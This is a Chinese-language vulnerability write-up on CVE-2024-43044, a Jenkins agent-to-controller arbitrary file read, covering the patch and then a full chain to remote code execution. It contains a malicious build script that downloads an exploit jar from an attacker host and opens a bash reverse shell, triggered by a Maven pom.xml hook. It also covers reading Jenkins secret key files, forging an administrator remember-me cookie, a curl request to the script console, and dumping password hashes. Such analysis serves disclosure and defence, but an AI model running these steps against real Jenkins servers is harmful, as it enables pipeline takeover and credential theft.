CVE-2024-43044 漏洞分析

1. 引言

Jenkins 是一种广泛用于自动执行构建、测试和部署软件等任务的工具,用于自动执行构建、测试和部署软件等任务。它是许多公司组织开发过程的关键部分。如果攻击者获取对 Jenkins 服务器的访问权限,他们可能会造成严重的损害,例如窃取凭据、污染代码,甚至中断部署。通过访问 Jenkins,攻击者可以篡改软件管道,从而可能导致开发过程混乱并泄露敏感数据。

本文中我们将分析 CVE-2024-43044 的公告,该漏洞为 Jenkins 任意文件读取漏洞。

2. Jenkins 架构概述

Jenkins 架构基于控制器/代理模式,其中 Jenkins 控制器是 Jenkins 安装中的原始节点。Jenkins 控制器管理 Jenkins 代理并编排它们的工作,包括在代理上制定作业和监控代理 。控制器和代理之间的通信可以是入站(以前称为“JNLP”)或 SSH。

CVE-2024-43044 漏洞分析

在通信层,进程间通信的实现是在 Remoting/Hudson 库中完成的。该库还提供了一些关于 Remoting/Hudson库如何工作的文档。下图显示了此体系结构的一些重要组件。

CVE-2024-43044 漏洞分析

3. 漏洞分析

3.1 公告

Jenkins 团队针对任意文件读取漏洞发布了公告 (SECURITY-3430 / CVE-2024-43044),该漏洞允许代理从控制器读取文件。上述发生是因为允许控制器将 JAR 文件传输到代理的功能。根据公告,问题在于:在控制器上调用 ClassLoaderProxy#fetchJar ,不限制代理向控制器文件系统去读取文件。

在漏洞的相关提交中,包含触发漏洞的测试代码。

Security3430Test.java

private static class Exploit extends MasterToSlaveCallable<Void, Exception> {
   private final URL controllerFilePath;
   private final String expectedContent;

   public Exploit(URL controllerFilePath, String expectedContent) {
       this.controllerFilePath = controllerFilePath;
       this.expectedContent = expectedContent;
  }
   @Override
   public Void call() throws Exception {
       final ClassLoader ccl = Thread.currentThread().getContextClassLoader();
       final Field classLoaderProxyField = ccl.getClass().getDeclaredField("proxy");
       classLoaderProxyField.setAccessible(true);
       final Object theProxy = classLoaderProxyField.get(ccl);
       final Method fetchJarMethod = theProxy.getClass().getDeclaredMethod("fetchJar", URL.class);
       fetchJarMethod.setAccessible(true);
       final byte[] fetchJarResponse = (byte[]) fetchJarMethod.invoke(theProxy, controllerFilePath);
       assertThat(new String(fetchJarResponse, StandardCharsets.UTF_8), is(expectedContent));
       return null;
  }
}

此代码主要获得对 hudson.remoting.RemoteClassLoader 的访问权,它负责通过通道远程加载类文件。具体来说,它访问 RemoteClassLoader 的 proxy 字段中的 Proxy 对象。此 Proxy 的处理程序是 hudson.remoting.RemoteInvocationHandler 的实例。

然后,代码使用此处理程序调用 fetchJar 方法,该方法将触发 hudson.remoting.RemoteInvocationHandler.invoke 方法。依次准备对控制器的远程过程调用 (RPC)。在控制器侧,调用到达 hudson.remoting.RemoteClassLoader$ClassLoaderProxy.fetchJar。如下所示,控制器上的 fetchJar 方法不验证 URL(由用户控制),并在未经验证的情况下读取资源。

// hudson.remoting.RemoteClassLoader$ClassLoaderProxy.fetchJar
public byte[] fetchJar(URL url) throws IOException {
   return Util.readFully(url.openStream());
}

下面的图像将流程可视化:

CVE-2024-43044 漏洞分析

此缺陷允许绕过 Agent -> 控制器访问控制系统 ,该系统从 Jenkins v 2.326版本 开始默认启用,它以控制代理对控制器的访问,以防止其接管。

3.2 补丁

该补丁引入了验证程序和一些 Java 系统属性来控制 fetchJar 功能。

Java 系统属性包括:

  • jenkins.security.s2m.JarURLValidatorImpl.REJECT_ALL – 拒绝任何 JAR进行获取

  • hudson.remoting.Channel.DISABLE_JAR_URL_VALIDATOR – 禁用验证

验证器验证请求的 URL 是否指向受允许的 JAR 文件(来自插件或核心的 JAR 文件),如代码片段所示:

jenkinsci/remoting/src/main/java/hudson/remoting/RemoteClassLoader.java

public byte[] fetchJar(URL url) throws IOException {
   final Object o = channel.getProperty(JarURLValidator.class);
   if (o == null) {
       final boolean disabled = Boolean.getBoolean(Channel.class.getName() + ".DISABLE_JAR_URL_VALIDATOR");

       if (!disabled) {
           // No hudson.remoting.JarURLValidator has been set for this channel, so all #fetchJar calls are rejected
      }
  } else {
       if (o instanceof JarURLValidator) {
          ((JarURLValidator) o).validate(url); // [1] Validate the URL
       // ...              
  }
   return readFully(url.openStream());
}  

jenkinsci/jenkins/core/src/main/java/jenkins/security/s2m/JarURLValidatorImpl.java

public void validate(URL url) throws IOException {
   final String rejectAllProp = JarURLValidatorImpl.class.getName() + ".REJECT_ALL";
   if (SystemProperties.getBoolean(rejectAllProp)) {
       // "Rejecting URL due to configuration
  }
   final String allowAllProp = Channel.class.getName() + ".DISABLE_JAR_URL_VALIDATOR";
   if (SystemProperties.getBoolean(allowAllProp)) {
       // Allowing URL due to configuration
  }
   if (!isAllowedJar(url)) { // [2] Check if allowed URL
       // DENY - This URL does not point to a jar file allowed to be requested by agents
  } else {
       // ALLOW
  }
}

private static boolean isAllowedJar(URL url) {
   final ClassLoader classLoader = Jenkins.get().getPluginManager().uberClassLoader;
   if (classLoader instanceof PluginManager.UberClassLoader) {
       if (((PluginManager.UberClassLoader) classLoader).isPluginJar(url)) {
           // ACCEPT - Determined to be plugin jar
           return true;
      }
  }

   final ClassLoader coreClassLoader = Jenkins.class.getClassLoader();
   if (coreClassLoader instanceof URLClassLoader) {
       if (Set.of(((URLClassLoader) coreClassLoader).getURLs()).contains(url)) {
           // ACCEPT - Determined to be core jar
           return true;
      }
  }
   // DENY - Neither core nor plugin jar
   return false;
}

有关其他信息和解决方法,请参阅公告。

4. 获取 RCE

4.1 先决条件

在公告中,我们可以看到攻击以“代理进程、代理上运行的代码以及具有 Agent/Connect 权限的攻击者”发起 。我们构造EXP去多重利用,同时支持入站代理  和 SSH 连接。

使用入站代理密钥

在此模式下,EXP充当启动与控制器的连接的自定义代理。要使用它,您需要以下信息:

  1. 目标 Jenkins 服务器 URL;

  2. 代理名称;

  3. 代理密钥。

获取上述一种方法是,一旦您可以访问代理节点,请列出所有正在运行的进程。您可能会在命令行中找到一个包含这些数据的 Java 进程,因为这是 Jenkins 建议在配置入站代理后连接入站代理的默认方式。

CVE-2024-43044 漏洞分析

另一种方法是通过凭据泄漏。值得注意的是,在运行我们的代理之前,必须终结正在运行的代理或等待断开连接,因为单个代理无法同时多次连接到 Jenkins 服务器。

以这种方式运行漏洞的示例:

java -jar exploit.jar mode_secret http://localhost:8080/ test b55d9b7fede47864572f4d0830a564a83ae78a4f297c1178b7f55601784f645c

连接正在运行的 Remoting 进程

在这种模式下,我们使用 Java 插桩 API 连接到已经在运行的 Remoting 进程。我们连接一个 Java 代理来完成漏洞利用。

当以SSH连接代理/控制器完成时比较实用,因为在此模式下没有代理密钥。在控制器中启动的 SSHLauncher 将通过 SSH 会话执行命令java -jar remoting.jar -workDir WORKDIR -jar-cache WORKDIR/remoting/jarCache,并重定向其 stdin 和 stdout 以创建一个 Channel 来与代理通信。

因此,例如,当通过部署在代码存储库中的恶意构建脚本进行攻击时,该代码存储库的构建由 Jenkins 管理(在代理上运行),攻击者将无法检索代理名称/密钥,因为在这种情况下不存在这些名称/密钥。将有一个 Remoting 进程通过 SSH 上的管道连接到控制器。然后,EXP将找到此进程的 PID 并将 Java 代码注入其中以执行后续步骤。

要使用此模式,您需要提供以下信息:

  1. 目标 Jenkins 服务器 URL。(可选 – 漏洞将使用通过 SSH 连接的控制器的 IP,并形成 Jenkins URL 作为 http://IP:8080/。在这种情况下,必须已安装 pgreppsnetstat);

  2. 要执行的攻击命令。

下图显示了一个攻击示例,其中管道在不受信任的克隆库中运行 “mvn package”。假设 Jenkins 配置为不通过内置节点在控制器上本地执行构建。这足以破坏 Jenkins 控制器:

CVE-2024-43044 漏洞分析

此设置中的库只需要两个文件:

build.sh

cd /tmp
wget http://ATTACKER/exploit.jar -O /tmp/exploit.jar
java -jar exploit.jar mode_attach 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'

pom.xml:

...
   <build>
       <plugins>
           <plugin>
               <groupId>org.codehaus.mojo</groupId>
               <artifactId>exec-maven-plugin</artifactId>
               <version>3.1.0</version>
               <executions>
                   <execution>
                       <id>run-build-script</id>
                       <phase>package</phase>
                       <goals>
                           <goal>exec</goal>
                       </goals>
                       <configuration>
                           <executable>bash</executable>
                           <arguments>
                               <argument>./build.sh</argument>
                           </arguments>
                       </configuration>
                   </execution>
               </executions>
           </plugin>
       </plugins>
   </build>
...

4.2 读取任意文件

当提供代理 secret/name 时,EXP使用它来建立与 Remoting 库的 Jenkins 服务器的连接。我们使用 Engine 类并等待建立连接。但是,在连接到现存在的代理时,我们会跳过这些步骤。

然后,我们从其中一个正在运行的线程中获取 hudson.remoting.RemoteClassLoader 的实例。

public ClassLoader getRemoteClassLoader() {
   boolean found = false;
   ClassLoader temp = null;
   while (!found) {
       for (Thread thread : Thread.getAllStackTraces().keySet()) {
           temp = thread.getContextClassLoader();
           if (temp == null) continue;
           String className = temp.getClass().getName();
           if (className.equals("hudson.remoting.RemoteClassLoader")) {
               found = true;
               break;
          }
      }
       try {
           Thread.sleep(1000);
      } catch(Exception e) {}
  }
   return temp;
}

我们使用它来创建一个 reader 对象,该对象处理 fetchJar() 方法调用。

if (this.ccl == null) this.ccl = this.getRemoteClassLoader();

this.reader = new RemoteFileReader(this.ccl);

有了这个对象,我们可以使用它从服务器加载文件。不需要路径遍历,您可以通过指定文件的完整路径来请求文件,例如:

this.reader.readAsString("file:///etc/passwd");

4.3 伪造有效的用户 Cookie

该公告确认此漏洞可能存在 RCE,并指出了 2024 年 1 月发布的另一个文件读取漏洞的第二个公告,该漏洞列举了在 Jenkins 中通过此类缺陷获取 RCE 的一些方法。

CVE-2024-43044 漏洞分析

其中一种方法留意到,因为它不需要任何配置更改,即适用于默认安装。通过远程代码执行“Remember me”cookie包括为管理员帐户伪造一个 remember-me Cookie,允许攻击者登录应用程序并获得对脚本控制台的访问权限以执行命令。

该技术的要求是:

  1. “Remember me” 功能已启用(默认)。

  2. 攻击者可以检索二进制密钥。

  3. 攻击者具有 Overall/Read 权限,能够读取文件中前几行之后的内容。

该漏洞满足这些要求,因为它可用于读取二进制文件和文件的全部内容。

需要一些数据才能构造有效的 Cookie。在实操中采用了这种方法:

  1. 读取 $JENKINS_HOME/users/users.xml 文件以获取在 Jenkins 服务器上拥有帐户的用户列表;

  2. 读取每个 $JENKINS_HOME/users/*.xml 文件以提取用户信息,例如:用户名、用户种子、时间戳和密钥hash;

  3. 读取 Cookie 签名所需的文件:

    1. $JENKINS_主页/secret.key

    2. $JENKINS_HOME/secrets/master.key

    3. $JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac

一旦有了这些数据,就复制了 Jenkins cookie 签名算法,这可以用下面的伪代码来描述:

// Calculate tokenExpiryTime (current server time in milliseconds + 1 hour)
tokenExpiryTime = currentServerTimeInMillis() + 3600000

// Concatenate data to generate token
token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey

// Obtaining the MAC key by decrypting org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac using master.key as AES128 key
key = toAes128Key(masterKey)
decrypted = AES.decrypt(macFile, key)

// Checking the presence of the "::::MAGIC::::" suffix in the decrypted data (and removing it to obtain the actual MAC key)
if not decrypted.hasSuffix("::::MAGIC::::")
   return ERROR;
macKey = decrypted.withoutSuffix("::::MAGIC::::")

// Calculating the HmacSHA256 of the token using this MAC key
mac = HmacSHA256(token, macKey)
tokenSignature = bytesToHexString(mac)

// Concatenating username + tokenExpiryTime + tokenSignature and base64 encoding it to generate the cookie
cookie = base64.encode(username + ":" + tokenExpiryTime + ":" + tokenSignature)

此 Cookie 可以在对 Jenkins Web 应用程序的请求中作为 “Cookie: remember-me=VALUE” 发送。

4.4 代码执行

一旦有了remeber-me cookie,就可以在 /crumbIssuer/api/json 中请求一个 CSRF 令牌(名为 Jenkins-Crumb)。获取响应中收到的 JSESSIONID Cookie,因为这两个 Cookie 是关联的。

之后,我们向 /scriptText 发送一个 POST 请求,将 Jenkins-Crumb 值作为header传递,将 JSESSIONID 值作为 cookie,以及 remember-me cookie。要执行的 Groovy 代码通过名为 “script” 的 POST 参数传递。

代码会自动完成所有这些操作。表示此最终请求的 curl 命令如下所示:

curl -X POST "$JENKINS_URL/scriptText" 
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID"
--header "Jenkins-Crumb: $CRUMB"
--header "Content-Type: application/x-www-form-urlencoded"
--data-urlencode "script=$SCRIPT"

使用 Groovy 执行命令:

println "uname -a".execute().text

4.5 漏洞利用总结

以下是关于漏洞利用中存在的步骤的回顾:

  1. 获取 hudson.remoting.RemoteClassLoader 的引用;

  2. 使用它创建文件读取器;

  3. 读取必要的文件(总共 3 个)为给定用户伪造 cookie;

  4. 阅读 Jenkins 用户列表;

  5. 读取有关每个用户的信息(id、timestamp、seed 和 hash);

  6. 为用户伪造一个remember-me Cookie,直到我们可以访问 Jenkins 脚本引擎;

  7. 使用 Jenkins 脚本引擎执行系统命令;

  8. 以工具John the Ripper 准备好破解的格式转储用户名和哈希值。



原文始发于微信公众号(0x6270安全团队):CVE-2024-43044 漏洞分析

版权声明:admin 发表于 2024年9月10日 下午10:01。
转载请注明:CVE-2024-43044 漏洞分析 | CTF导航

相关文章